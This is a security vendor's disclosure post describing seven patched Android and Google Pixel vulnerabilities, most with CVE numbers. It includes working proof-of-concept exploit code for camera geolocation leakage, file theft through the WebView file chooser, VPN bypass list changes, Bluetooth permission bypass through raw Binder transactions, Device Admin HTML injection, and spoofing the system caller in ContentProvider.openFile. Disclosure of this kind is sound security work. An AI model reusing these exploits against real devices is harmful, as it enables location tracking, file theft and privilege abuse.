November 21, 2024 / ANDROID, GOOGLE, PIXEL Disclosure of 7 Android and Google Pixel Vulnerabilities We continually refine and enhance the Oversecured Mobile Application Vulnerability Scanner through regular analysis of mobile applications. This helps us to optimize our analysis techniques and proactively mitigate potential vulnerabilities from malicious exploitation. This article disclosed 7 vulnerabilities, 2 of which pose a threat to Google Pixel devices, while the others pose a threat to all Android devices, regardless of vendor. For Pixel device users, these vulnerabilities could allow unprivileged applications to access their geolocation and give applications VPN bypass privileges. Other vulnerabilities resulted in access to arbitrary components on behalf of the system (this vulnerability has been exploited in in-the-wild attacks), theft of arbitrary files via WebView with default settings, full access (including system settings) to Bluetooth due to incorrect permission checks, and HTML injection when adding Device Admin. It is worth noting that, if you are reading this, all of issues has been fixed since we immediately reported them to Google. Table of contents Access to the user’s geolocation through the camera Default configuration of WebChromeClient.FileChooserParams leads to theft of arbitrary files Adding apps to the VPN bypass list Incorrect Bluetooth permission check Mismatching parcel/unparcel logic for WorkSource HTML injection on the Device Admin request screen Bypassing internal security checks in ContentProvider.openFile() Conclusions Access to the user’s geolocation through the camera Vulnerability details: CVE: CVE-2024-0017 Severity: High Reported on: May 31, 2023 Fixed on: Dec 20, 2023 In Android, there is the Camera app, which allows the user to not only take photos and store them in the gallery, but also pass them to the calling app. For this purpose, there are a few actions in Android, such as android.media.action.IMAGE_CAPTURE android.media.action.VIDEO_CAPTURE An application can be configured to store the geolocation where the user took the picture in the metadata. However, if Camera were to pass geolocation data to all applications, even those that don’t have access to geolocation, it would create a vulnerability. That’s why the developers considered such a case and created two handlers: com.android.camera.app.NoOpLocationProvider is used if the calling application does not have the android.permission.ACCESS_FINE_LOCATION permission, this handler returns null for all geolocation requests. com.android.camera.app.LegacyLocationProvider is used if the specified permission is requested by the calling application. The CameraActivity.shouldUseNoOpLocation() method is used to select a handler. As you can see in the code, if Activity.getCallingPackage() returns null, Camera will use LegacyLocationProvider and pass the user’s geolocation to the calling application. However, this method only returns the calling application’s package name in cases where the startActivityForResult() method has been used. In other cases, such as the startActivity() method, this value will be null, exposing the location to unprivileged applications. Proof of Concept The logic of the exploit is as follows: The attacker should create an application that creates an intent with the android.media.action.IMAGE_CAPTURE action and calls Camera. In the output field, the attacker can either pass the path to a file or a URI to their own content provider (this option is better, because there is no need to request any permissions). When the user takes a picture, the content is written to the attacker’s content provider, where the attacker can read the location. File MainActivity.java: Intent i = new Intent("android.media.action.IMAGE_CAPTURE"); i.setClassName("com.android.camera2", "com.android.camera.CameraActivity"); i.putExtra("output", Uri.parse("content://test.provider/wow")); startActivity(i); new Thread(() -> { try { while (true) { File file = MyContentProvider.TEMP_FILE; if (file != null && file.exists() && file.length() > 0) { ExifInterface exif = new ExifInterface(file); String lat = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE); String lng = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE); Log.d("evil", String.format("Leaked lat = %s, long = %s", lat, lng)); file.delete(); return; } Thread.sleep(100); } } catch (Throwable th) { throw new RuntimeException(th); } }).start(); File MyContentProvider.java: public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { Log.d("evil", "openFile()"); resetFile(); return ParcelFileDescriptor.open(TEMP_FILE, ParcelFileDescriptor.MODE_READ_WRITE); } private void resetFile() throws FileNotFoundException { try { if (TEMP_FILE.exists() && TEMP_FILE.length() > 0) { TEMP_FILE.delete(); } TEMP_FILE.createNewFile(); } catch (IOException e) { throw new FileNotFoundException(e.getMessage()); } } A proof of concept video: Your browser does not support the video tag. [Open...](/assets/images/google/camera_exploit.mp4){:target="_blank"}. Download exploit sources. Default configuration of WebChromeClient.FileChooserParams leads to theft of arbitrary files This vulnerability was originally triaged as High, but then severity changed to Low as Google engineers concluded that it was a developer error. Vulnerability details: CVE: - Severity: High Low Reported on: Nov 4, 2023 Fixed on: Not fixed The default implementation of the file picker functionality in WebView was insecure and led to theft of arbitrary files vulnerability. A typical flow is as follows: Creating your own WebView instance with an implemented WebChromeClient.onShowFileChooser() method. The onShowFileChooser() method calls FileChooserParams.createIntent() and passes the received implicit intent to Activity.startActivityForResult(). This intent can be handled by any third-party application installed on the same device. In the Activity.onActivityResult(), the picked Uri[] values are obtained using the FileChooserParams.parseResult() method. These Uri[] values are passed to the ValueCallback.onReceiveValue() method. However, none of these methods somehow validate that the received URI is an internal file of the calling application. A third-party application installed on the same device can intercept the implicit intent and return a URI value that points to an internal file containing sensitive data. As a result, the web page will receive the contents of that file. It can be a huge risk if: The web page is controlled by an attacker. The web page is legitimate, but the file content is shared with third parties (email clients, cloud file storage, etc.). Proof of Concept To reproduce the vulnerability, we’ve created two Android apps: VictimApp, which creates a dummy file located in an internal app directory (/data/user/0/com.victim/files/secret.txt), launches an internal web server (http://localhost:8080/) that always responds with the following content: <h1>Evil page</h1> <form> <input type='file' id='picker'> </form> <script> document.getElementById('picker').addEventListener('change', function(e) { const reader = new FileReader(); reader.onload = function(e) { alert(e.target.result); }; reader.readAsText(e.target.files[0]); }); </script> and uses the provided flow to handle the picked file. When the file is picked, it will display its contents. 2.EvilPicker, which simply handles implicit intents and returns a Uri to the /data/user/0/com.victim/files/secret.txt file: Intent resultIntent = new Intent(); resultIntent.setData(Uri.parse("file:///data/user/0/com.victim/files/secret.txt")); setResult(-1, resultIntent); A proof of concept video: Your browser does not support the video tag. [Open...](/assets/images/google/webview_exploit.mp4){:target="_blank"}. Download exploit sources. Adding apps to the VPN bypass list Vulnerability details: CVE: CVE-2023-21383 Severity: High Reported on: Jun 2, 2023 Fixed on: Dec 1, 2023 Oversecured scanned the Settings application (com.android.settings) and found that it uses undeclared permissions when declaring components in AndroidManifest.xml: This means two things: The Settings app has been changed, it is different from the AOSP version. You can understand why this happens by reading the article Discovering vendor-specific vulnerabilities in Android. Google forgot to add the com.google.android.wildlife.permission.VPN_APP_EXCLUSION_LAUNCH and com.google.android.wildlife.permission.ADVANCED_VPN_CONFIG permissions to one of the system preinstalled applications. You can read more about this type of vulnerability in the Common mistakes when using permissions in Android article, where we talked about mistakes in ecosystem applications. However, these vulnerabilities are also very common in system applications from various vendors. Thus, the com.google.android.settings.vpn2.AppBypassBroadcastReceiver allows an attacker to modify the lists of carrier apps and VPN bypass apps. The only limitation is that only system apps can be added to these lists. For example, the Google Chrome browser is a system application and can be added to these lists, which can be very risky for the user. Proof of Concept The attacker should declare these permissions in their application: <permission android:name="com.google.android.wildlife.permission.VPN_APP_EXCLUSION_LAUNCH" /> <uses-permission android:name="com.google.android.wildlife.permission.VPN_APP_EXCLUSION_LAUNCH" /> <permission android:name="com.google.android.wildlife.permission.ADVANCED_VPN_CONFIG" /> <uses-permission android:name="com.google.android.wildlife.permission.ADVANCED_VPN_CONFIG" /> Then run the following code to add Google Chrome to the VPN bypass list and check the result: // adding `com.android.chrome` to the list Intent i = new Intent("com.google.android.settings.action.UPDATE_PREDEFINED_APP_EXCLUSION_LIST"); i.setClassName("com.android.settings", "com.google.android.settings.vpn2.AppBypassBroadcastReceiver"); i.putExtra("com.google.android.wildlife.extra.UPDATE_PREDEFINED_APP_EXCLUSION_LIST", new ArrayList<>(Arrays.asList("com.android.chrome"))); sendBroadcast(i); // opening the list of apps to observe the result new Handler().postDelayed(() -> { startActivity(new Intent("com.google.android.settings.action.LAUNCH_VPN_APP_EXCLUSION")); }, 3000); This will automatically add the application to the list: Download exploit sources. Incorrect Bluetooth permission check Vulnerability details: CVE: CVE-2024-34719 Severity: High Reported on: Aug 18, 2022 Fixed on: Nov 1, 2024 As we described in the Discovering vendor-specific vulnerabilities in Android article, Android APIs are based on system services and managers that make them easy to use. Most of the services run from the system, but some of them are declared in privileged applications such as NFC, Bluetooth and others. As we found out during our research, Bluetooth permissions were checked on the client side in classes like android.bluetooth.BluetoothAdapter, but at the system service level, it checked its own permissions, not those of the calling application, in cases where the attacker specified attributionSource set to null. Specifically, the com.android.bluetooth package contains the following permission checking methods: public static boolean checkPermissionForDataDelivery(Context context, String str, AttributionSource attributionSource, String str2) { public static boolean checkConnectPermissionForDataDelivery(Context context, AttributionSource attributionSource, String str) { However, all of these methods accept an attacker-controlled AttributionSource attributionSource object and then create their own AttributionSource object: AttributionSource build = new AttributionSource.Builder(context.getAttributionSource()).setNext(attributionSource).build(); PermissionManager permissionManager = (PermissionManager) context.getSystemService(PermissionManager.class); if (permissionManager == null) { return false; } if (permissionManager.checkPermissionForDataDeliveryFromDataSource("android.permission.ACCESS_COARSE_LOCATION", build, "Bluetooth location check") == 0) { return true; } In most AIDL methods, an attacker could bypass security checks and interact with Bluetooth in Android with system privileges. This issue also affected vendor-specific extensions that are not present in AOSP. Proof of Concept In our proof of concept, we used the IBluetooth.setName() method to change the name of the device: static final int TRANSACTION_setName = 7; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter(); Field field = BluetoothAdapter.class.getDeclaredField("mService"); field.setAccessible(true); IBinder binder = ((IInterface) field.get(adapter)).asBinder(); Parcel parcel = Parcel.obtain(); parcel.writeInterfaceToken(binder.getInterfaceDescriptor()); parcel.writeString("Pwned"); // device name parcel.writeInt(0); // null AttributionSource Parcel reply = Parcel.obtain(); binder.transact(TRANSACTION_setName, parcel, reply, 0); } catch (Throwable th) { throw new RuntimeException(th); } } However, most methods for working with Bluetooth, including privileged system APIs, are subject to this problem. After running the code, the Bluetooth device name was changed: Download exploit sources. Mismatching parcel/unparcel logic for WorkSource Vulnerability details: CVE: CVE-2023-20963 Severity: High Reported on: Feb 17, 2022 Fixed on: Mar 1, 2023 Google Project Zero has described the technical details of this vulnerability. CNN has also published an investigation into this attack. As it turns out, this vulnerability was exploited in in-the-wild attacks by the Pinduoduo app, the current developer of the Temu app, starting on March 4, 2022 (version 6.2.0), and until it was discovered, the malicious code was removed from the app on February 22, 2023 (version 6.49.0). The app itself was also removed from Google Play soon after, but remains in some other app stores. In short, this vulnerability allowed to attack the system and launch arbitrary components on its behalf. The thing is that for system applications, Android ignores any permission checks (such as android:exported="false" or permission requirements). Therefore, the vulnerability allowed access to arbitrary components of arbitrary applications installed on the same user’s device. HTML injection on the Device Admin request screen Vulnerability details: CVE: CVE-2021-0600 Severity: High Reported on: Jan 29, 2021 Fixed on: Jun 24, 2021 Oversecured scanned the Settings app (com.android.settings) and detected the possibility of HTML injection using Spanned objects: The thing is that all methods for setting text in Android do not take a java.lang.String object as input, but a java.lang.CharSequence object. This is done on purpose to allow developers to create a formatted UI that includes formatted text, images, and so on. Thus, if an application receives a CharSequence object from an attacker and never casts a String object, the attacker will be able to create formatted text that contains some HTML elements. This vulnerability is quite old, but we decided to include it in this article because this attack vector is still unexplored and little known to the community. Proof of Concept Intent i = new Intent(); i.setClassName("com.android.settings", "com.android.settings.applications.specialaccess.deviceadmin.ProfileOwnerAdd"); i.putExtra("android.app.extra.ADD_EXPLANATION", Html.fromHtml("<s><h1>TEST</h1></s>")); i.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, MyReceiver.class)); startActivity(i); After running the code, the Settings app requested permission to add a Device Admin app with attacker-controlled HTML elements: Download exploit sources. Bypassing internal security checks in ContentProvider.openFile() An interesting fact about this vulnerability is that initially the Google team considered it not a vulnerability and closed it as Works as designed. However, after the public disclosure, they reopened the report and fixed it. Vulnerability details: CVE: CVE-2023-21292 Severity: High Reported on: Jun 19, 2022 Fixed on: Aug 1, 2023 While investigating the IActivityManager.openContentUri() method, it turned out to fulfil the same role as ContentResolver.openFile(). However, a peculiarity of this method turned out to be that it does not save the caller’s context. For example, if a provider is protected by permissions or the android:exported attribute, this attack would not work. But among Android Content Providers, including in AOSP and Google applications, there are those that perform internal checks on the caller like this: public ParcelFileDescriptor openFile(Uri uri, String mode) { if (Binder.getCallingUid() != 1000) { // system uid return null; } if (getContext().checkCallingPermission("android.permission.LOCK_DEVICE") != PackageManager.PERMISSION_GRANTED /* 0 */) { return null; } // main logic // ... } Because of context proxying, any ContentProvider.openFile() method would think it was called by the system, not a third-party application. As a result, Binder.getCallingUid() would return 1000 (system). Also, any methods like Context.checkCallingPermission() would return true. Proof of Concept File MainActivity.java: try { final String uri = "content://victim.test/"; // 1, error getContentResolver().openFile(Uri.parse(uri), "r", null); // 2, success IBinder binder = getService("activity"); Parcel parcel = Parcel.obtain(); parcel.writeInterfaceToken(binder.getInterfaceDescriptor()); parcel.writeString(uri); Parcel reply = Parcel.obtain(); binder.transact(TRANSACTION_openContentUri, parcel, reply, 0); reply.readException(); } catch (Throwable t) { throw new RuntimeException(t); } private IBinder getService(String name) { return (IBinder) Class.forName("android.os.ServiceManager") .getDeclaredMethod("getServiceOrThrow", String.class) .invoke(null, name); } File MyContentProvider.java: public ParcelFileDescriptor openFile(Uri uri, String mode) { Log.d("evil", "openFile(), uid: " + Binder.getCallingUid()); // random system-only permission Log.d("evil", "Permission? " + getContext().checkCallingPermission("android.permission.LOCK_DEVICE")); // dummy return return null; } Download exploit sources. Conclusions According to its established policy, Google’s Project Zero vulnerability research team publicly discloses any identified vulnerabilities after 90 days. As highlighted in this article, Google’s Vulnerability Disclosure Program (VDP) team has made significant strides in addressing high-severity Android vulnerabilities over the years. However, some cases illustrate the need for quicker action: for example, the parcel/unparcel mismatch vulnerability, which we reported on February 17, 2022, was only patched on March 1, 2023 — over a year later and after it became known that the vulnerability had been exploited in the wild by the Pinduoduo app. While we greatly respect the work of Google’s engineers, it’s clear that a faster and more proactive approach to patching vulnerabilities is essential to safeguarding Android users. This example also highlights the critical role of vulnerability scanners in the development process. Integrating regular scanning can significantly reduce risks for both companies and users by identifying vulnerabilities early in the codebase. If your team needs support identifying and mitigating mobile app vulnerabilities, Oversecured offers comprehensive scanning solutions to cover all potential attack vectors. Contact us for a demo or to discuss SSDLC integration options. Get access to files Please fill out the form to access the research files. We will send you an email containing them. First Name * Last Name * Email Address * Company * Job Title Cancel Submit Thank you for reaching out An email with the requested files will be sent to the email address you provided shortly. Got It Your message was sent. Thank you! Our specialists will contact you soon. Protect your apps today! It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured. First Name Last Name Corporate Email Company Submit